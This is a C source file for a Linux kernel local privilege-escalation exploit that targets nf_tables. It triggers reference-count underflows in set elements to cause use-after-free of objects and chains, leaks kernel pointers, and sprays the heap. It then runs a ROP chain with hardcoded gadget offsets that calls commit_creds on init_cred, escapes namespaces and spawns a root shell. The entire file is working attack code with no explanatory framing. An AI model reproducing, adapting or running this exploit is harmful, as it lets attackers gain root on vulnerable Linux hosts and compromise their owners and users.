#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <netlink/msg.h>
#include <netlink/attr.h>
#include <netlink/netlink.h>
#include <netlink/netfilter/nfnl.h>

#include "obj.h"
#include "setelem.h"
#include "table.h"
#include "set.h"
#include "chain.h"
#include "rule.h"


char *leak_data = NULL;
int table_num = 0;
uint64_t leak_ops = 0, target_heap = 0, kernel_off = 0;
unsigned long user_cs,user_ss,user_rsp,user_rflags;
int cur_handle = 0;
void shell(){
    printf("ret2usr success! uid : %d\n",getuid());
    char *args[] = {"/bin/sh", "-i", NULL};
    execve(args[0], args, NULL);
    //while(1);
}

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
}

void pin_on_cpu(int cpu) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(cpu, &cpu_set);
  if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
    perror("sched_setaffinity()");
    exit(EXIT_FAILURE);
  }
  usleep(1000);
}

int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }
  pin_on_cpu(0);  
  return 0;
}



void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
    struct nl_msg * msg = nlmsg_alloc();
    //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
    struct nlmsghdr *hdr1 = nlmsg_put(
            msg,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_BEGIN,   // TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST //NLM_F_ECHO
    );
    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
    h->nfgen_family = 2;
    h->version = 0;
    h->res_id = NFNL_SUBSYS_NFTABLES;
    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
    struct nl_msg * msg3 = nlmsg_alloc();
    struct nlmsghdr *hdr3 = nlmsg_put(
            msg3,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_END,// TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST //NLM_F_ECHO
    );
    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
    int i;
    for(i=0;i<num;i++){
    	total_size = total_size + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    char *buf = malloc(total_size);
    memset(buf, 0, total_size);
    memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len));
    char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len);
    for(i=0;i<num;i++){
    	memcpy(off, msg_list[i], NLMSG_ALIGN(msg_list[i]->nlmsg_len));
	off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
    int res = nl_sendto(socket, buf, total_size);
    if (res < 0) {
        printf("sending message failed\n");
    }
}

int nl_callback_leak_ops(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_SET_MAX+1];
    memset(tb_msg, 0, NFTA_SET_MAX * 8);
    //printf("Get message back!\n");

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        //printf("Received NLMSG_ERROR message!\n");
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL);
    char * table_name=NULL;
    char * set_name=NULL;
    if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){
        struct nlattr * tb_msg2[NFTA_SET_MAX+1];
        memset(tb_msg2, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL);

        struct nlattr * tb_msg3[NFTA_SET_MAX+1];
        memset(tb_msg3, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL);
        char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF]));
        nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_OBJREF], nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF]));
        printf("Get ops : %llx\n", *(uint64_t *)val);
        leak_ops = *(uint64_t *)val;
    }
    else
        printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n");
    return NL_OK;
}

int nl_callback_find_target_setelem(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_SET_MAX+1];
    memset(tb_msg, 0, NFTA_SET_MAX * 8);
    //printf("Get message back!\n");

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        //printf("Received NLMSG_ERROR message!\n");
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL);
    char * table_name=NULL;
    char * set_name=NULL;

    if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){
        struct nlattr * tb_msg2[NFTA_SET_MAX+1];
        memset(tb_msg2, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL);

        struct nlattr * tb_msg3[NFTA_SET_MAX+1];
        memset(tb_msg3, 0, NFTA_SET_MAX * 8);
        nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL);
        char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
        nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_KEY], nla_len(tb_msg3[NFTA_SET_ELEM_KEY]));
        //printf("Get key : %llx\n", *(uint64_t *)(val+4));
        uint32_t udata_len = nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]);
        if(udata_len != 0xa1)
		printf("udata len : %d\n",udata_len);
        if(udata_len > 0xb0){
            //get leak
            printf("udata len : %d\n",udata_len);
            leak_data = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
            memset(leak_data,0,nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
            nla_memcpy(leak_data, tb_msg3[NFTA_SET_ELEM_USERDATA], nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]));
            printf("Target key : %llx\n",*(uint64_t *)(val+4));
        }
    }
    else
        printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n");
    return NL_OK;
}

/*
 Spray the heap through the udata of nft_table. In nftables, when creating a table, 
 you can let the kernel malloc and fill any size of heap memory by using NFTA_TABLE_USERDATA 
 (the corresponding code is in the function nf_tables_newtable). 
*/

void spray_tables(struct nl_sock * socket, int count, char *udata, int size){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=0;i<count;i++){
        snprintf(tmp, 0x100, "table_for_leak_%ld", table_num);
        new_table_with_udata(socket, tmp, udata, size);
        ++table_num;
   }
   free(tmp);
}


//make target_obj->use = target_obj->use - repeat_time

void primitive_0(struct nl_sock *socket, char *table, char *target_obj, int repeat_time){
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    int i,j;
    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100);
    char *key = malloc(0x40);
    char *set_name = "set for primitive0";
    char *chain_name = "chain for primitive0";
    msg_list[0] = new_set_pipapo_for_timeout_with_anonymous_msg(table, set_name, NFT_OBJECT_CT_EXPECT);
    for(i=0;i<repeat_time;i++){ 
	*(uint64_t *)key = i;
	msg_list[i+1] = new_setelem_with_expiration_msg(table, set_name, pad, 0xc0, target_obj, key, 0x40, NULL, 0, 0,0x0100000000000000);
    }    
    msg_list[repeat_time+1] = new_chain_msg(table, chain_name, 0);
    msg_list[repeat_time+2] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 0);
    msg_list[repeat_time+3] = del_chain_msg(table, chain_name);
    send_msg_list(socket, msg_list, repeat_time+4);
    
    free(msg_list);
    free(pad);
}

//make target_chain->use = target_chain->use - repeat_time

void primitive_1(struct nl_sock *socket, char *table, char *target_chain, int repeat_time){
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    int i,j;
    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100);
    char *set_name = "set for primitive1";
    char *chain_name = "chain for primitive1";
    char *key = malloc(0x40);
    msg_list[0] = new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(table, set_name, 0x40);
    for(i=0;i<repeat_time;i++){
        *(uint64_t *)key = i;
        msg_list[i+1] = new_setelem_with_chain_and_expiration_msg(table, set_name, pad, 0xc0, target_chain, key, 0x40, NULL, 0, 0,0x0100000000000000);
    }
    msg_list[repeat_time+1] = new_chain_msg(table, chain_name, 0);
    msg_list[repeat_time+2] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 1);
    msg_list[repeat_time+3] = del_chain_msg(table, chain_name);
    send_msg_list(socket, msg_list, repeat_time+4);

    free(msg_list);
    free(pad);
}


int leak_and_prepare_rop(struct nl_sock *socket){
    int i;
    char *pipapo_set = "set pipapo for leak";
    char *hash_set = "set hashtable for leak";
    char *hash_set_2 = "set hashtable 2 for leak";
    char *target_obj = "obj_for_leak_128";
    char *obj_for_leak = "obj_for_leak_a";
    char *table = "table for leak";
    new_table(socket, table);
    new_obj_ct_expect(socket, table, obj_for_leak, NULL, 0);
    
    new_set_pipapo(socket, table, pipapo_set, 0x40, NFT_OBJECT_CT_EXPECT);
    new_set_hashtable_with_map(socket, table, hash_set, 8);
    new_set_hashtable(socket, table, hash_set_2, NFT_OBJECT_CT_EXPECT, 8);
    char *key = malloc(0x40);
    char *key_end = malloc(0x40);
    uint64_t hash_key;
    
    nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
    
    //step 1
    //spray some nft_object which type is  NFT_OBJECT_CT_EXPECT 
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    char *obj_name = malloc(0x40);
    memset(obj_name,0,0x40);
    
    for(i=0;i<0x100;i++){
        snprintf(obj_name,0x40,"obj_for_leak_%d",i);
        new_obj_ct_expect(socket, table, obj_name, NULL, 0);
    }
    //step 2
    //make target_obj->use = 0xa5
    
    for(i=0;i<0xa4;i++){
    	memset(key,i,0x40);
        memset(key_end,i,0x40);
        new_setelem(socket, table, pipapo_set, pad, 0x100, target_obj, key, 0x40, key_end, 0x40, 0);
    }
    hash_key = 0xdeadbeef;
    new_setelem(socket, table, hash_set_2, pad, 0x100, target_obj, &hash_key, 8, NULL, 0, 0);
    //step 3
    //make target_obj->use = 0xa5 - 0xa5 = 0
    primitive_0(socket, table, target_obj, 0xa5);
    sleep(2);
    //step 4
    //delete target obj
    del_obj(socket, table, target_obj, NFT_OBJECT_CT_EXPECT);
    //step 5
    //get heap back
    for(i=0;i<0x1000;i++){
        //printf("%d\n",i);
	if(i%0x100==0)
		sleep(0.2);
        *(uint64_t *)pad = i;
        hash_key = i;
        new_setelem_with_elemdata(socket, table, hash_set, pad, 0xa1, &hash_key, 8, NULL, 0,0);
    }
    //step 6
    //call elem_flush to free all the elements of the pipapo set,  make setelem->udata_len = 0xfc
    elem_flush(socket, table, pipapo_set);
    sleep(2);
    //step 7 Get leak data
    
    struct nl_sock * socket2 = nl_socket_alloc();
    if(nfnl_connect(socket2)<0){
        printf("nfnl_connect fail!\n");
        return 0;
    }
    //function nl_callback_find_target_setelem will be called once we call nl_recvmsgs_default
    //check the api documents and the source code for details:
    //nl_socket_modify_cb:  https://www.infradead.org/~tgr/libnl/doc/api/group__socket.html#gaeee66d6edef118209c7e7f1e3d393448
    //nl_recvmsgs_default:  https://www.infradead.org/~tgr/libnl/doc/api/group__send__recv.html#ga49b150fbb38a00444d5f6e323f05a2a1
    //setup a callback function which will examine data to find the leaks from step 7
    nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
    for(i=0;i<0x1000;i++){
        hash_key = i;
        get_setelem(socket2, table, hash_set, &hash_key, 8);
        nl_recvmsgs_default(socket2);
        nl_recvmsgs_default(socket2);
    }
    if(leak_data==NULL){
	    del_table(socket, table);
	    sleep(2);
	    return -1;
    }
    uint64_t obj_a = *(uint64_t *)&leak_data[0xcb];
    uint64_t obj_b = *(uint64_t *)&leak_data[0xcb+8];
    printf("leak obj A heap : %llx\n",obj_a);
    printf("leak obj B heap : %llx\n",obj_b);
    
    //step 8 Delete all the set elements created in step 5
    elem_flush(socket, table, hash_set);
    sleep(2);
    
    //step 9 Spray heap
    *(uint64_t *)&pad[0x20] = obj_a + 0x80; 
    spray_tables(socket,0x400, pad, 0xcc);
    printf("spray finish\n");
    hash_key = 0xdeadbeef;
    //function nl_callback_leak_ops will be called once we call nl_recvmsgs_default
    //check the api documents and the source code for details:
    //nl_socket_modify_cb:  https://www.infradead.org/~tgr/libnl/doc/api/group__socket.html#gaeee66d6edef118209c7e7f1e3d393448
    //nl_recvmsgs_default:  https://www.infradead.org/~tgr/libnl/doc/api/group__send__recv.html#ga49b150fbb38a00444d5f6e323f05a2a1
    //step 10
    //setup a callback function which will examine data to find the leaks from step 10
    nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_leak_ops, NULL);
    get_setelem(socket2, table, hash_set_2, &hash_key,8);
    nl_recvmsgs_default(socket2);
    nl_recvmsgs_default(socket2);
    printf("Leak end.\n");
    printf("Start preparing ROP gadget in heap.\n");
    kernel_off = leak_ops - 0xFFFFFFFF82B2AFA0;
    char *ops = malloc(0x100);
    //ops->dump
    *(uint64_t *)&ops[0x40] = kernel_off + 0xffffffff81fa7c53;//leave ; ret
    //ops->type
    *(uint64_t *)&ops[0x78] = kernel_off + 0xFFFFFFFF83B69A00;//last type
    *(uint64_t *)&ops[0x08] = kernel_off + 0xFFFFFFFF819C7D5D;//pop rdi; ret
    *(uint64_t *)&ops[0x10] = kernel_off + 0xFFFFFFFF838768E0;//init_cred
    *(uint64_t *)&ops[0x18] = kernel_off + 0xFFFFFFFF811BD090;//commit_creds;
    *(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff8111315f;//pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
    *(uint64_t *)&ops[0x28] = 1;
    *(uint64_t *)&ops[0x58] = kernel_off + 0xFFFFFFFF811B3A60;//find_task_by_vpid
    *(uint64_t *)&ops[0x60] = kernel_off + 0xffffffff810d5541;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
    *(uint64_t *)&ops[0x68] = 0;
    *(uint64_t *)&ops[0x70] = kernel_off + 0xFFFFFFFF81113167;//pop rbx ; ret ; because ops->0x78 is the last_type
    *(uint64_t *)&ops[0x80] = kernel_off + 0xffffffff8102e2a6;//pop rsi ; ret
    *(uint64_t *)&ops[0x88] = kernel_off + 0xFFFFFFFF838766A0;//init_nsproxy
    *(uint64_t *)&ops[0x90] = kernel_off + 0xFFFFFFFF811BB4F0;//switch_task_namespaces
    *(uint64_t *)&ops[0x98] = kernel_off + 0xffffffff8218de86;//swapgs; ret
    *(uint64_t *)&ops[0xa0] = kernel_off + 0xFFFFFFFF822011D7;//iretq
    *(uint64_t *)&ops[0xa8] = (uint64_t)shell;
    *(uint64_t *)&ops[0xb0] = user_cs;
    *(uint64_t *)&ops[0xb8] = user_rflags;
    *(uint64_t *)&ops[0xc0] = user_rsp|8;
    *(uint64_t *)&ops[0xc8] = user_ss;
     //step 11
    //free the last object.
    for(i=0;i<0x100;i++){
	if(i==0x80)
		continue;
        snprintf(obj_name,0x40,"obj_for_leak_%d",i);
        del_obj(socket, table, obj_name, NFT_OBJECT_CT_EXPECT);
    }
    //heap spray to fill target heap
    spray_tables(socket,0x800, ops, 0xe8);
    printf("Finish prepare.\n");
    target_heap = obj_a;
}


void jmp_rop(struct nl_sock * socket){
    char *pipapo_set = "set pipapo for rop";
    char *hash_set_for_expr = "set hashtable for expr";
    char *table = "table for rop";
    char *target_chain = "chain for rop";
    int i;
    printf("start rop\n");
    new_table(socket, table);
    cur_handle = 0;
    new_chain(socket, table, target_chain, 0);
    
    new_set_pipapo_for_chain(socket, table, pipapo_set, 0x40);
    new_set_hashtable_with_elemdata(socket, table, hash_set_for_expr, 0x30, 0x10);
    nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);

    //step 1
    //create some elements to make chain->use = 0x20
    
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    char *key = malloc(0x40);
    char *key_end = malloc(0x40);
    char *hash_key_48 = malloc(48);
    memset(hash_key_48, 0, 48);
    
    for(i=0;i<0x20;i++){
    	memset(key,i,0x40);
	memset(key_end,i,0x40);
	new_setelem_with_chain(socket, table, pipapo_set, pad, 0x100, key, 0x40, key_end, 0x40, target_chain);
    }
    
    //step 2 trigger vul to make chain->use = 0
    
    primitive_1(socket, table, target_chain, 0x20);
    //step 3 delete target chain
    
    del_chain(socket, table, target_chain);
    sleep(1);
    //step 4 create normal set elem with expr, make offsetof(chain->use) == offsetof(expr->size)
    *(uint64_t *)&pad[0] = target_heap;//expr->ops
    *(uint64_t *)&pad[8] = kernel_off + 0xffffffff81fa7c53;//leave ; ret
    for(i=0;i<0x1000;i++){
    	*(uint64_t *)hash_key_48 = i;
	new_setelem_with_expr_and_elemdata(socket, table, hash_set_for_expr, pad, 0x10, NULL, hash_key_48, 48, NULL, 0);
    }
    
    
    //step 5 flush set to make the expr->size very large by underflowing it.
    elem_flush(socket, table, pipapo_set);
    sleep(1);
    //step 6 jmp to ROP;
    for(i=0;i<0x1000;i++){
        *(uint64_t *)hash_key_48 = i;
        get_setelem(socket, table, hash_set_for_expr, hash_key_48,48);
    }
    printf("end\n");
    while(1);
    
}


int main(void) {
    if (setup_sandbox() < 0){
        printf("Create sandbox fail!\n");
        return 0;
    }
    save_state();
    struct nl_sock * socket = nl_socket_alloc();

    if(nfnl_connect(socket)<0){
    	printf("nfnl_connect fail!\n");
	return 0;
    }
    for(int i=0;i<0x20;i++){
    	int ret = leak_and_prepare_rop(socket);
    	if(ret==-1){
    		printf("Leak fail! Try again\n");
		continue;
    	}
	break;
    }
    jmp_rop(socket);
    
    return 0;
}
